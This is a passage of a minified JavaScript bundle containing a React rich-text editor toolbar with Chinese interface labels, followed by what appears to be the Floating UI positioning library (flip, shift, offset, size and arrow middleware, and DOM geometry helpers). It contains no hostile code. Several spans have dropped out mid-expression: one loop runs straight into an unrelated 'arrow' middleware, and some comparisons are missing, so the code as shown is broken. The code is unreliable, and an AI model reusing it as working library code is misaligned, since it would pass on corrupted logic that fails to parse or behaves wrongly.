L.result=="string"&&v.chain().focus().setImage({src:L.result}).run()},L.readAsDataURL(I)}T.target.value=""}},[v,n]),C=b.useCallback(T=>{v&&v.chain().focus().insertContent({type:"linkTag",attrs:{label:T.label,url:T.url||"",tagType:T.type||"url",tagId:T.id||"",pagePath:T.pagePath||"",appId:T.appId||"",mpKey:T.type==="miniprogram"&&T.appId||""}}).run()},[v]),E=b.useCallback(()=>{!v||!f||(v.chain().focus().setLink({href:f}).run(),m(""),y(!1))},[v,f]);return v?s.jsxs("div",{className:`rich-editor-wrapper ${o||""}`,children:[s.jsxs("div",{className:"rich-editor-toolbar",children:[s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleBold().run(),className:v.isActive("bold")?"is-active":"",type:"button",children:s.jsx(VT,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleItalic().run(),className:v.isActive("italic")?"is-active":"",type:"button",children:s.jsx(FM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleStrike().run(),className:v.isActive("strike")?"is-active":"",type:"button",children:s.jsx(LA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleCode().run(),className:v.isActive("code")?"is-active":"",type:"button",children:s.jsx(lM,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:1}).run(),className:v.isActive("heading",{level:1})?"is-active":"",type:"button",children:s.jsx(AM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:2}).run(),className:v.isActive("heading",{level:2})?"is-active":"",type:"button",children:s.jsx(RM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:3}).run(),className:v.isActive("heading",{level:3})?"is-active":"",type:"button",children:s.jsx(OM,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleBulletList().run(),className:v.isActive("bulletList")?"is-active":"",type:"button",children:s.jsx(JM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleOrderedList().run(),className:v.isActive("orderedList")?"is-active":"",type:"button",children:s.jsx(qM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleBlockquote().run(),className:v.isActive("blockquote")?"is-active":"",type:"button",children:s.jsx(NA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().setHorizontalRule().run(),type:"button",children:s.jsx(iA,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("input",{ref:u,type:"file",accept:"image/*",onChange:k,className:"hidden"}),s.jsx("button",{onClick:()=>{var T;return(T=u.current)==null?void 0:T.click()},type:"button",children:s.jsx(Zw,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>y(!g),className:v.isActive("link")?"is-active":"",type:"button",children:s.jsx(Pg,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().insertTable({rows:3,cols:3,withHeaderRow:!0}).run(),type:"button",children:s.jsx(zA,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().undo().run(),disabled:!v.can().undo(),type:"button",children:s.jsx(UA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().redo().run(),disabled:!v.can().redo(),type:"button",children:s.jsx(jA,{className:"w-4 h-4"})})]}),a.length>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"toolbar-divider"}),s.jsx("div",{className:"toolbar-group",children:s.jsxs("select",{className:"link-tag-select",onChange:T=>{const I=a.find(O=>O.id===T.target.value);I&&C(I),T.target.value=""},defaultValue:"",children:[s.jsx("option",{value:"",disabled:!0,children:"# 插入链接标签"}),a.map(T=>s.jsx("option",{value:T.id,children:T.label},T.id))]})})]})]}),g&&s.jsxs("div",{className:"link-input-bar",children:[s.jsx("input",{type:"url",placeholder:"输入链接地址...",value:f,onChange:T=>m(T.target.value),onKeyDown:T=>T.key==="Enter"&&E(),className:"link-input"}),s.jsx("button",{onClick:E,className:"link-confirm",type:"button",children:"确定"}),s.jsx("button",{onClick:()=>{v.chain().focus().unsetLink().run(),y(!1)},className:"link-remove",type:"button",children:"移除"})]}),s.jsx(Q2,{editor:v})]}):null});Ex.displayName="RichEditor";const eF=["top","right","bottom","left"],wi=Math.min,zr=Math.max,af=Math.round,Qu=Math.floor,Ws=t=>({x:t,y:t}),tF={left:"right",right:"left",bottom:"top",top:"bottom"},nF={start:"end",end:"start"};function Tx(t,e,n){return zr(t,wi(e,n))}function Sa(t,e){return typeof t=="function"?t(e):t}function Ca(t){return t.split("-")[0]}function Fl(t){return t.split("-")[1]}function G0(t){return t==="x"?"y":"x"}function J0(t){return t==="y"?"height":"width"}const rF=new Set(["top","bottom"]);function Hs(t){return rF.has(Ca(t))?"y":"x"}function Y0(t){return G0(Hs(t))}function sF(t,e,n){n===void 0&&(n=!1);const r=Fl(t),a=Y0(t),i=J0(a);let o=a==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return e.reference[i]>e.floating[i]&&(o=of(o)),[o,of(o)]}function aF(t){const e=of(t);return[Mx(t),e,Mx(e)]}function Mx(t){return t.replace(/start|end/g,e=>nF[e])}const lw=["left","right"],cw=["right","left"],iF=["top","bottom"],oF=["bottom","top"];function lF(t,e,n){switch(t){case"top":case"bottom":return n?e?cw:lw:e?lw:cw;case"left":case"right":return e?iF:oF;default:return[]}}function cF(t,e,n,r){const a=Fl(t);let i=lF(Ca(t),n==="start",r);return a&&(i=i.map(o=>o+"-"+a),e&&(i=i.concat(i.map(Mx)))),i}function of(t){return t.replace(/left|right|bottom|top/g,e=>tF[e])}function dF(t){return{top:0,right:0,bottom:0,left:0,...t}}function BC(t){return typeof t!="number"?dF(t):{top:t,right:t,bottom:t,left:t}}function lf(t){const{x:e,y:n,width:r,height:a}=t;return{width:r,height:a,top:n,left:e,right:e+r,bottom:n+a,x:e,y:n}}function dw(t,e,n){let{reference:r,floating:a}=t;const i=Hs(e),o=Y0(e),c=J0(o),u=Ca(e),h=i==="y",f=r.x+r.width/2-a.width/2,m=r.y+r.height/2-a.height/2,g=r[c]/2-a[c]/2;let y;switch(u){case"top":y={x:f,y:r.y-a.height};break;case"bottom":y={x:f,y:r.y+r.height};break;case"right":y={x:r.x+r.width,y:m};break;case"left":y={x:r.x-a.width,y:m};break;default:y={x:r.x,y:r.y}}switch(Fl(e)){case"start":y[o]-=g*(n&&h?-1:1);break;case"end":y[o]+=g*(n&&h?-1:1);break}return y}async function uF(t,e){var n;e===void 0&&(e={});const{x:r,y:a,platform:i,rects:o,elements:c,strategy:u}=t,{boundary:h="clippingAncestors",rootBoundary:f="viewport",elementContext:m="floating",altBoundary:g=!1,padding:y=0}=Sa(e,t),N=BC(y),v=c[g?m==="floating"?"reference":"floating":m],k=lf(await i.getClippingRect({element:(n=await(i.isElement==null?void 0:i.isElement(v)))==null||n?v:v.contextElement||await(i.getDocumentElement==null?void 0:i.getDocumentElement(c.floating)),boundary:h,rootBoundary:f,strategy:u})),C=m==="floating"?{x:r,y:a,width:o.floating.width,height:o.floating.height}:o.reference,E=await(i.getOffsetParent==null?void 0:i.getOffsetParent(c.floating)),T=await(i.isElement==null?void 0:i.isElement(E))?await(i.getScale==null?void 0:i.getScale(E))||{x:1,y:1}:{x:1,y:1},I=lf(i.convertOffsetParentRelativeRectToViewportRelativeRect?await i.convertOffsetParentRelativeRectToViewportRelativeRect({elements:c,rect:C,offsetParent:E,strategy:u}):C);return{top:(k.top-I.top+N.top)/T.y,bottom:(I.bottom-k.bottom+N.bottom)/T.y,left:(k.left-I.left+N.left)/T.x,right:(I.right-k.right+N.right)/T.x}}const hF=async(t,e,n)=>{const{placement:r="bottom",strategy:a="absolute",middleware:i=[],platform:o}=n,c=i.filter(Boolean),u=await(o.isRTL==null?void 0:o.isRTL(e));let h=await o.getElementRects({reference:t,floating:e,strategy:a}),{x:f,y:m}=dw(h,r,u),g=r,y={},N=0;for(let v=0;v({name:"arrow",options:t,async fn(e){const{x:n,y:r,placement:a,rects:i,platform:o,elements:c,middlewareData:u}=e,{element:h,padding:f=0}=Sa(t,e)||{};if(h==null)return{};const m=BC(f),g={x:n,y:r},y=Y0(a),N=J0(y),w=await o.getDimensions(h),v=y==="y",k=v?"top":"left",C=v?"bottom":"right",E=v?"clientHeight":"clientWidth",T=i.reference[N]+i.reference[y]-g[y]-i.floating[N],I=g[y]-i.reference[y],O=await(o.getOffsetParent==null?void 0:o.getOffsetParent(h));let L=O?O[E]:0;(!L||!await(o.isElement==null?void 0:o.isElement(O)))&&(L=c.floating[E]||i.floating[N]);const R=T/2-I/2,D=L/2-w[N]/2-1,z=wi(m[k],D),Z=wi(m[C],D),ne=z,fe=L-w[N]-Z,xe=L/2-w[N]/2+R,$=Tx(ne,xe,fe),H=!u.arrow&&Fl(a)!=null&&xe!==$&&i.reference[N]/2-(xexe<=0)){var Z,ne;const xe=(((Z=i.flip)==null?void 0:Z.index)||0)+1,$=L[xe];if($&&(!(m==="alignment"?C!==Hs($):!1)||z.every(P=>Hs(P.placement)===C?P.overflows[0]>0:!0)))return{data:{index:xe,overflows:z},reset:{placement:$}};let H=(ne=z.filter(oe=>oe.overflows[0]<=0).sort((oe,P)=>oe.overflows[1]-P.overflows[1])[0])==null?void 0:ne.placement;if(!H)switch(y){case"bestFit":{var fe;const oe=(fe=z.filter(P=>{if(O){const q=Hs(P.placement);return q===C||q==="y"}return!0}).map(P=>[P.placement,P.overflows.filter(q=>q>0).reduce((q,B)=>q+B,0)]).sort((P,q)=>P[1]-q[1])[0])==null?void 0:fe[0];oe&&(H=oe);break}case"initialPlacement":H=c;break}if(a!==H)return{reset:{placement:H}}}return{}}}};function uw(t,e){return{top:t.top-e.height,right:t.right-e.width,bottom:t.bottom-e.height,left:t.left-e.width}}function hw(t){return eF.some(e=>t[e]>=0)}const mF=function(t){return t===void 0&&(t={}),{name:"hide",options:t,async fn(e){const{rects:n,platform:r}=e,{strategy:a="referenceHidden",...i}=Sa(t,e);switch(a){case"referenceHidden":{const o=await r.detectOverflow(e,{...i,elementContext:"reference"}),c=uw(o,n.reference);return{data:{referenceHiddenOffsets:c,referenceHidden:hw(c)}}}case"escaped":{const o=await r.detectOverflow(e,{...i,altBoundary:!0}),c=uw(o,n.floating);return{data:{escapedOffsets:c,escaped:hw(c)}}}default:return{}}}}},VC=new Set(["left","top"]);async function gF(t,e){const{placement:n,platform:r,elements:a}=t,i=await(r.isRTL==null?void 0:r.isRTL(a.floating)),o=Ca(n),c=Fl(n),u=Hs(n)==="y",h=VC.has(o)?-1:1,f=i&&u?-1:1,m=Sa(e,t);let{mainAxis:g,crossAxis:y,alignmentAxis:N}=typeof m=="number"?{mainAxis:m,crossAxis:0,alignmentAxis:null}:{mainAxis:m.mainAxis||0,crossAxis:m.crossAxis||0,alignmentAxis:m.alignmentAxis};return c&&typeof N=="number"&&(y=c==="end"?N*-1:N),u?{x:y*f,y:g*h}:{x:g*h,y:y*f}}const xF=function(t){return t===void 0&&(t=0),{name:"offset",options:t,async fn(e){var n,r;const{x:a,y:i,placement:o,middlewareData:c}=e,u=await gF(e,t);return o===((n=c.offset)==null?void 0:n.placement)&&(r=c.arrow)!=null&&r.alignmentOffset?{}:{x:a+u.x,y:i+u.y,data:{...u,placement:o}}}}},yF=function(t){return t===void 0&&(t={}),{name:"shift",options:t,async fn(e){const{x:n,y:r,placement:a,platform:i}=e,{mainAxis:o=!0,crossAxis:c=!1,limiter:u={fn:k=>{let{x:C,y:E}=k;return{x:C,y:E}}},...h}=Sa(t,e),f={x:n,y:r},m=await i.detectOverflow(e,h),g=Hs(Ca(a)),y=G0(g);let N=f[y],w=f[g];if(o){const k=y==="y"?"top":"left",C=y==="y"?"bottom":"right",E=N+m[k],T=N-m[C];N=Tx(E,N,T)}if(c){const k=g==="y"?"top":"left",C=g==="y"?"bottom":"right",E=w+m[k],T=w-m[C];w=Tx(E,w,T)}const v=u.fn({...e,[y]:N,[g]:w});return{...v,data:{x:v.x-n,y:v.y-r,enabled:{[y]:o,[g]:c}}}}}},bF=function(t){return t===void 0&&(t={}),{options:t,fn(e){const{x:n,y:r,placement:a,rects:i,middlewareData:o}=e,{offset:c=0,mainAxis:u=!0,crossAxis:h=!0}=Sa(t,e),f={x:n,y:r},m=Hs(a),g=G0(m);let y=f[g],N=f[m];const w=Sa(c,e),v=typeof w=="number"?{mainAxis:w,crossAxis:0}:{mainAxis:0,crossAxis:0,...w};if(u){const E=g==="y"?"height":"width",T=i.reference[g]-i.floating[E]+v.mainAxis,I=i.reference[g]+i.reference[E]-v.mainAxis;yI&&(y=I)}if(h){var k,C;const E=g==="y"?"width":"height",T=VC.has(Ca(a)),I=i.reference[m]-i.floating[E]+(T&&((k=o.offset)==null?void 0:k[m])||0)+(T?0:v.crossAxis),O=i.reference[m]+i.reference[E]+(T?0:((C=o.offset)==null?void 0:C[m])||0)-(T?v.crossAxis:0);NO&&(N=O)}return{[g]:y,[m]:N}}}},vF=function(t){return t===void 0&&(t={}),{name:"size",options:t,async fn(e){var n,r;const{placement:a,rects:i,platform:o,elements:c}=e,{apply:u=()=>{},...h}=Sa(t,e),f=await o.detectOverflow(e,h),m=Ca(a),g=Fl(a),y=Hs(a)==="y",{width:N,height:w}=i.floating;let v,k;m==="top"||m==="bottom"?(v=m,k=g===(await(o.isRTL==null?void 0:o.isRTL(c.floating))?"start":"end")?"left":"right"):(k=m,v=g==="end"?"top":"bottom");const C=w-f.top-f.bottom,E=N-f.left-f.right,T=wi(w-f[v],C),I=wi(N-f[k],E),O=!e.middlewareData.shift;let L=T,R=I;if((n=e.middlewareData.shift)!=null&&n.enabled.x&&(R=E),(r=e.middlewareData.shift)!=null&&r.enabled.y&&(L=C),O&&!g){const z=zr(f.left,0),Z=zr(f.right,0),ne=zr(f.top,0),fe=zr(f.bottom,0);y?R=N-2*(z!==0||Z!==0?z+Z:zr(f.left,f.right)):L=w-2*(ne!==0||fe!==0?ne+fe:zr(f.top,f.bottom))}await u({...e,availableWidth:R,availableHeight:L});const D=await o.getDimensions(c.floating);return N!==D.width||w!==D.height?{reset:{rects:!0}}:{}}}};function $f(){return typeof window<"u"}function Bl(t){return HC(t)?(t.nodeName||"").toLowerCase():"#document"}function Hr(t){var e;return(t==null||(e=t.ownerDocument)==null?void 0:e.defaultView)||window}function Ys(t){var e;return(e=(HC(t)?t.ownerDocument:t.document)||window.document)==null?void 0:e.documentElement}function HC(t){return $f()?t instanceof Node||t instanceof Hr(t).Node:!1}function Cs(t){return $f()?t instanceof Element||t instanceof Hr(t).Element:!1}function Gs(t){return $f()?t instanceof HTMLElement||t instanceof Hr(t).HTMLElement:!1}function fw(t){return!$f()||typeof ShadowRoot>"u"?!1:t instanceof ShadowRoot||t instanceof Hr(t).ShadowRoot}const NF=new Set(["inline","contents"]);function jd(t){const{overflow:e,overflowX:n,overflowY:r,display:a}=Es(t);return/auto|scroll|overlay|hidden|clip/.test(e+r+n)&&!NF.has(a)}const wF=new Set(["table","td","th"]);function jF(t){return wF.has(Bl(t))}const kF=[":popover-open",":modal"];function Ff(t){return kF.some(e=>{try{return t.matches(e)}catch{return!1}})}const SF=["transform","translate","scale","rotate","perspective"],CF=["transform","translate","scale","rotate","perspective","filter"],EF=["paint","layout","strict","content"];function Q0(t){const e=X0(),n=Cs(t)?Es(t):t;return SF.some(r=>n[r]?n[r]!=="none":!1)||(n.containerType?n.containerType!=="normal":!1)||!e&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!e&&(n.filter?n.filter!=="none":!1)||CF.some(r=>(n.willChange||"").includes(r))||EF.some(r=>(n.contain||"").includes(r))}function TF(t){let e=ji(t);for(;Gs(e)&&!Il(e);){if(Q0(e))return e;if(Ff(e))return null;e=ji(e)}return null}function X0(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}const MF=new Set(["html","body","#document"]);function Il(t){return MF.has(Bl(t))}function Es(t){return Hr(t).getComputedStyle(t)}function Bf(t){return Cs(t)?{scrollLeft:t.scrollLeft,scrollTop:t.scrollTop}:{scrollLeft:t.scrollX,scrollTop:t.scrollY}}function ji(t){if(Bl(t)==="html")return t;const e=t.assignedSlot||t.parentNode||fw(t)&&t.host||Ys(t);return fw(e)?e.host:e}function WC(t){const e=ji(t);return Il(e)?t.ownerDocument?t.ownerDocument.body:t.body:Gs(e)&&jd(e)?e:WC(e)}function fd(t,e,n){var r;e===void 0&&(e=[]),n===void 0&&(n=!0);const a=WC(t),i=a===((r=t.ownerDocument)==null?void 0:r.body),o=Hr(a);if(i){const c=Ax(o);return e.concat(o,o.visualViewport||[],jd(a)?a:[],c&&n?fd(c):[])}return e.concat(a,fd(a,[],n))}function Ax(t){return t.parent&&Object.getPrototypeOf(t.parent)?t.frameElement:null}function UC(t){const e=Es(t);let n=parseFloat(e.width)||0,r=parseFloat(e.height)||0;const a=Gs(t),i=a?t.offsetWidth:n,o=a?t.offsetHeight:r,c=af(n)!==i||af(r)!==o;return c&&(n=i,r=o),{width:n,height:r,$:c}}function Z0(t){return Cs(t)?t:t.contextElement}function wl(t){const e=Z0(t);if(!Gs(e))return Ws(1);const n=e.getBoundingClientRect(),{width:r,height:a,$:i}=UC(e);let o=(i?af(n.width):n.width)/r,c=(i?af(n.height):n.height)/a;return(!o||!Number.isFinite(o))&&(o=1),(!c||!Number.isFinite(c))&&(c=1),{x:o,y:c}}const AF=Ws(0);function KC(t){const e=Hr(t);return!X0()||!e.visualViewport?AF:{x:e.visualViewport.offsetLeft,y:e.visualViewport.offsetTop}}function IF(t,e,n){return e===void 0&&(e=!1),!n||e&&n!==Hr(t)?!1:e}function Co(t,e,n,r){e===void 0&&(e=!1),n===void 0&&(n=!1);const a=t.getBoundingClientRect(),i=Z0(t);let o=Ws(1);e&&(r?Cs(r)&&(o=wl(r)):o=wl(t));const c=IF(i,n,r)?KC(i):Ws(0);let u=(a.left+c.x)/o.x,h=(a.top+c.y)/o.y,f=a.width/o.x,m=a.height/o.y;if(i){const g=Hr(i),y=r&&Cs(r)?Hr(r):r;let N=g,w=Ax(N);for(;w&&r&&y!==N;){const v=wl(w),k=w.getBoundingClientRect(),C=Es(w),E=k.left+(w.clientLeft+parseFloat(C.paddingLeft))*v.x,T=k.top+(w.clientTop+parseFloat(C.paddingTop))*v.y;u*=v.x,h*=v.y,f*=v.x,m*=v.y,u+=E,h+=T,N=Hr(w),w=Ax(N)}}return lf({width:f,height:m,x:u,y:h})}function Vf(t,e){const n=Bf(t).scrollLeft;return e?e.left+n:Co(Ys(t)).left+n}function qC(t,e){const n=t.getBoundingClientRect(),r=n.left+e.scrollLeft-Vf(t,n),a=n.top+e.scrollTop;return{x:r,y:a}}function RF(t){let{elements:e,rect:n,offsetParent:r,strategy:a}=t;const i=a==="fixed",o=Ys(r),c=e?Ff(e.floating):!1;if(r===o||c&&i)return n;let u={scrollLeft:0,scrollTop:0},h=Ws(1);const f=Ws(0),m=Gs(r);if((m||!m&&!i)&&((Bl(r)!=="body"||jd(o))&&(u=Bf(r)),Gs(r))){const y=Co(r);h=wl(r),f.x=y.x+r.clientLeft,f.y=y.y+r.clientTop}const g=o&&!m&&!i?qC(o,u):Ws(0);return{width:n.width*h.x,height:n.height*h.y,x:n.x*h.x-u.scrollLeft*h.x+f.x+g.x,y:n.y*h.y-u.scrollTop*h.y+f.y+g.y}}function PF(t){return Array.from(t.getClientRects())}function OF(t){const e=Ys(t),n=Bf(t),r=t.ownerDocument.body,a=zr(e.scrollWidth,e.clientWidth,r.scrollWidth,r.clientWidth),i=zr(e.scrollHeight,e.clientHeight,r.scrollHeight,r.clientHeight);let o=-n.scrollLeft+Vf(t);const c=-n.scrollTop;return Es(r).direction==="rtl"&&(o+=zr(e.clientWidth,r.clientWidth)-a),{width:a,height:i,x:o,y:c}}const pw=25;function DF(t,e){const n=Hr(t),r=Ys(t),a=n.visualViewport;let i=r.clientWidth,o=r.clientHeight,c=0,u=0;if(a){i=a.width,o=a.height;const f=X0();(!f||f&&e==="fixed")&&(c=a.offsetLeft,u=a.offsetTop)}const h=Vf(r);if(h<=0){const f=r.ownerDocument,m=f.body,g=getComputedStyle(m),y=f.compatMode==="CSS1Compat"&&parseFloat(g.marginLeft)+parseFloat(g.marginRight)||0,N=Math.abs(r.clientWidth-m.clientWidth-y);N<=pw&&(i-=N)}else h<=pw&&(i+=h);return{width:i,height:o,x:c,y:u}}const LF=new Set(["absolute","fixed"]);function _F(t,e){const n=Co(t,!0,e==="fixed"),r=n.top+t.clientTop,a=n.left+t.clientLeft,i=Gs(t)?wl(t):Ws(1),o=t.clientWidth*i.x,c=t.clientHeight*i.y,u=a*i.x,h=r*i.y;return{width:o,height:c,x:u,y:h}}function mw(t,e,n){let r;if(e==="viewport")r=DF(t,n);else if(e==="document")r=OF(Ys(t));else if(Cs(e))r=_F(e,n);else{const a=KC(t);r={x:e.x-a.x,y:e.y-a.y,width:e.width,height:e.height}}return lf(r)}function GC(t,e){const n=ji(t);return n===e||!Cs(n)||Il(n)?!1:Es(n).position==="fixed"||GC(n,e)}function zF(t,e){const n=e.get(t);if(n)return n;let r=fd(t,[],!1).filter(c=>Cs(c)&&Bl(c)!=="body"),a=null;const i=Es(t).position==="fixed";let o=i?ji(t):t;for(;Cs(o)&&!Il(o);){const c=Es(o),u=Q0(o);!u&&c.position==="fixed"&&(a=null),(i?!u&&!a:!u&&c.position==="static"&&!!a&&LF.has(a.position)||jd(o)&&!u&&GC(t,o))?r=r.filter(f=>f!==o):a=c,o=ji(o)}return e.set(t,r),r}function $F(t){let{element:e,boundary:n,rootBoundary:r,strategy:a}=t;const o=[...n==="clippingAncestors"?Ff(e)?[]:zF(e,this._c):[].concat(n),r],c=o[0],u=o.reduce((h,f)=>{const m=mw(e,f,a);return h.top=zr(m.top,h.top),h.right=wi(m.right,h.right),h.bottom=wi(m.bottom,h.bottom),h.left=zr(m.left,h.left),h},mw(e,c,a));return{width:u.right-u.left,height:u.bottom-u.top,x:u.left,y:u.top}}function FF(t){const{width:e,height:n}=UC(t);return{width:e,height:n}}function BF(t,e,n){const r=Gs(e),a=Ys(e),i=n==="fixed",o=Co(t,!0,i,e);let c={scrollLeft:0,scrollTop:0};const u=Ws(0);function h(){u.x=Vf(a)}if(r||!r&&!i)if((Bl(e)!=="body"||jd(a))&&(c=Bf(e)),r){const y=Co(e,!0,i,e);u.x=y.x+e.clientLeft,u.y=y.y+e.clientTop}else a&&h();i&&!r&&a&&h();const f=a&&!r&&!i?qC(a,c):Ws(0),m=o.left+c.scrollLeft-u.x-f.x,g=o.top+c.scrollTop-u.y-f.y;return{x:m,y:g,width:o.width,height:o.height}}function bg(t){return Es(t).position==="static"}function gw(t,e){if(!Gs(t)||Es(t).position==="fixed")return null;if(e)return e(t);let n=t.offsetParent;return Ys(t)===n&&(n=n.ownerDocument.body),n}function JC(t,e){const n=Hr(t);if(Ff(t))return n;if(!Gs(t)){let a=ji(t);for(;a&&!Il(a);){if(Cs(a)&&!bg(a))return a;a=ji(a)}return n}let r=gw(t,e);for(;r&&jF(r)&&bg(r);)r=gw(r,e);return r&&Il(r)&&bg(r)&&!Q0(r)?n:r||TF(t)||n}const VF=async function(t){const e=this.getOffsetParent||JC,n=this.getDimensions,r=await n(t.floating);return{reference:BF(t.reference,await e(t.floating),t.strategy),floating:{x:0,y:0,width:r.width,height:r.height}}};function HF(t){return Es(t).direction==="rtl"}const WF={convertOffsetParentRelativeRectToViewportRelativeRect:RF,getDocumentElement:Ys,getClippingRect:$F,getOffsetParent:JC,getElementRects:VF,getClientRects:PF,getDimensions:FF,getScale:wl,isElement:Cs,isRTL:HF};function YC(t,e){return t.x===e.x&&t.y===e.y&&t.width===e.width&&t.height===e.height}function UF(t,e){let n=null,r;const a=Ys(t);function i(){var c;clearTimeout(r),(c=n)==null||c.disconnect(),n=null}function o(c,u){c===void 0&&(c=!1),u===void 0&&(u=1),i();const h=t.getBoundingClientRect(),{left:f,top:m,width:g,height:y}=h;if(c||e(),!g||!y)return;const N=Qu(m),w=Qu(a.clientWidth-(f+g)),v=Qu(a.clientHeight-(m+y)),k=Qu(f),E={rootMargin:-N+"px "+-w+"px "+-v+"px "+-k+"px",threshold:zr(0,wi(1,u))||1};let T=!0;function I(O){const L=O[0].intersectionRatio;if(L!==u){if(!T)return o();L?o(!1,L):r=setTimeout(()=>{o(!1,1e-7)},1e3)}L===1&&!YC(h,t.getBoundingClientRect())&&o(),T=!1}try{n=new IntersectionObserver(I,{...E,root:a.ownerDocument})}catch{n=new IntersectionObserver(I,E)}n.observe(t)}return o(!0),i}function KF(t,e,n,r){r===void 0&&(r={});const{ancestorScroll:a=!0,ancestorResize:i=!0,elementResize:o=typeof ResizeObserver=="function",layoutShift:c=typeof IntersectionObserver=="function",animationFrame:u=!1}=r,h=Z0(t),f=a||i?[...h?fd(h):[],...fd(e)]:[];f.forEach(k=>{a&&k.addEventListener("scroll",n,{passive:!0}),i&&k.addEventListener("resize",n)});const m=h&&c?UF(h,n):null;let g=-1,y=null;o&&(y=new ResizeObserver(k=>{let[C]=k;C&&C.target===h&&y&&(y.unobserve(e),cancelAnimationFrame(g),g=requestAnimationFrame(()=>{var E;(E=y)==null||E.observe(e)})),n()}),h&&!u&&y.observe(h),y.observe(e));let N,w=u?Co(t):null;u&&v();function v(){const k=Co(t);w&&!YC(w,k)&&n(),w=k,N=requestAnimationFrame(v)}return n(),()=>{var k;f.forEach(C=>{a&&C.removeEventListener("scroll",n),i&&C.removeEventListener("resize",n)}),m==null||m(),(k=y)==null||k.disconnect(),y=null,u&&cancelAnimationFrame(N)}}const qF=xF,GF=yF,JF=pF,YF=vF,QF=mF,xw=fF,XF=bF,ZF=(t,e,n)=>{const r=new Map,a={platform:WF,...n},i={...a.platform,_c:r};return hF(t,e,{...a,platform:i})};var eB=typeof document<"u",tB=function(){},oh=eB?b.useLayoutEffect:tB;function cf(t,e){if(t===e)return!0;if(typeof t!=typeof e)return!1;if(typeof t=="function"&&t.toString()===e.toString())return!0;let n,r,a;if(t&&e&&typeof t=="object"){if(Array.isArray(t)){if(n=t.length,n!==e.length)return!1;for(r=n;r--!==0;)if(!cf(t[r],e[r]))return!1;return!0}if(a=Object.keys(t),n=a.length,n!==Object.keys(e).length)return!1;for(r=n;r--!==0;)if(!{}.hasOwnProperty.call(e,a[r]))return!1;for(r=n;r--!==0;){const i=a[r];if(!(i==="_owner"&&t.$$typeof)&&!cf(t[i],e[i]))return!1}return!0}return t!==t&&e!==e}function QC(t){return typeof window>"u"?1:(t.ownerDocument.defaultView||window).devicePixelRatio||1}function yw(t,e){const n=QC(t);return Math.round(e*n)/n}function vg(t){const e=b.useRef(t);return oh(()=>{e.current=t}),e}function nB(t){t===void 0&&(t={});const{placement:e="bottom",strategy:n="absolute",middleware:r=[],platform:a,elements:{reference:i,floating:o}={},transform:c=!0,whileElementsMounted:u,open:h}=t,[f,m]=b.useState({x:0,y:0,strategy:n,placement:e,middlewareData:{},isPositioned:!1}),[g,y]=b.useState(r);cf(g,r)||y(r);const[N,w]=b.useState(null),[v,k]=b.useState(null),C=b.useCallback(P=>{P!==O.current&&(O.current=P,w(P))},[]),E=b.useCallback(P=>{P!==L.current&&(L.current=P,k(P))},[]),T=i||N,I=o||v,O=b.useRef(null),L=b.useRef(null),R=b.useRef(f),D=u!=null,z=vg(u),Z=vg(a),ne=vg(h),fe=b.useCallback(()=>{if(!O.current||!L.current)return;const P={placement:e,strategy:n,middleware:g};Z.current&&(P.platform=Z.current),ZF(O.current,L.current,P).then(q=>{const B={...q,isPositioned:ne.current!==!1};xe.current&&!cf(R.current,B)&&(R.current=B,md.flushSync(()=>{m(B)}))})},[g,e,n,Z,ne]);oh(()=>{h===!1&&R.current.isPositioned&&(R.current.isPositioned=!1,m(P=>({...P,isPositioned:!1})))},[h]);const xe=b.useRef(!1);oh(()=>(xe.current=!0,()=>{xe.current=!1}),[]),oh(()=>{if(T&&(O.current=T),I&&(L.current=I),T&&I){if(z.current)return z.current(T,I,fe);fe()}},[T,I,fe,z,D]);const $=b.useMemo(()=>({reference:O,floating:L,setReference:C,setFloating:E}),[C,E]),H=b.useMemo(()=>({reference:T,floating:I}),[T,I]),oe=b.useMemo(()=>{const P={position:n,left:0,top:0};if(!H.floating)return P;const q=yw(H.floating,f.x),B=yw(H.floating,f.y);return c?{...P,transform:"translate("+q+"px, "+B+"px)",...QC(H.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:q,top:B}},[n,c,H.floating,f.x,f.y]);return b.useMemo(()=>({...f,update:fe,refs:$,elements:H,floatingStyles:oe}),[f,fe,$,H,oe])}const rB=t=>{function e(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:t,fn(n){const{element:r,padding:a}=typeof t=="function"?t(n):t;return r&&e(r)?r.current!=null?xw({element:r.current,padding:a}).fn(n):{}:r?xw({element:r,padding:a}).fn(n):{}}}},sB=(t,e)=>({...qF(t),options:[t,e]}),aB=(t,e)=>({...GF(t),options:[t,e]}),iB=(t,e)=>({...XF(t),options:[t,e]}),oB=(t,e)=>({...JF(t),options:[t,e]}),lB=(t,e)=>({...YF(t),options:[t,e]}),cB=(t,e)=>({...QF(t),options:[t,e]}),dB=(t,e)=>({...rB(t),options:[t,e]});var 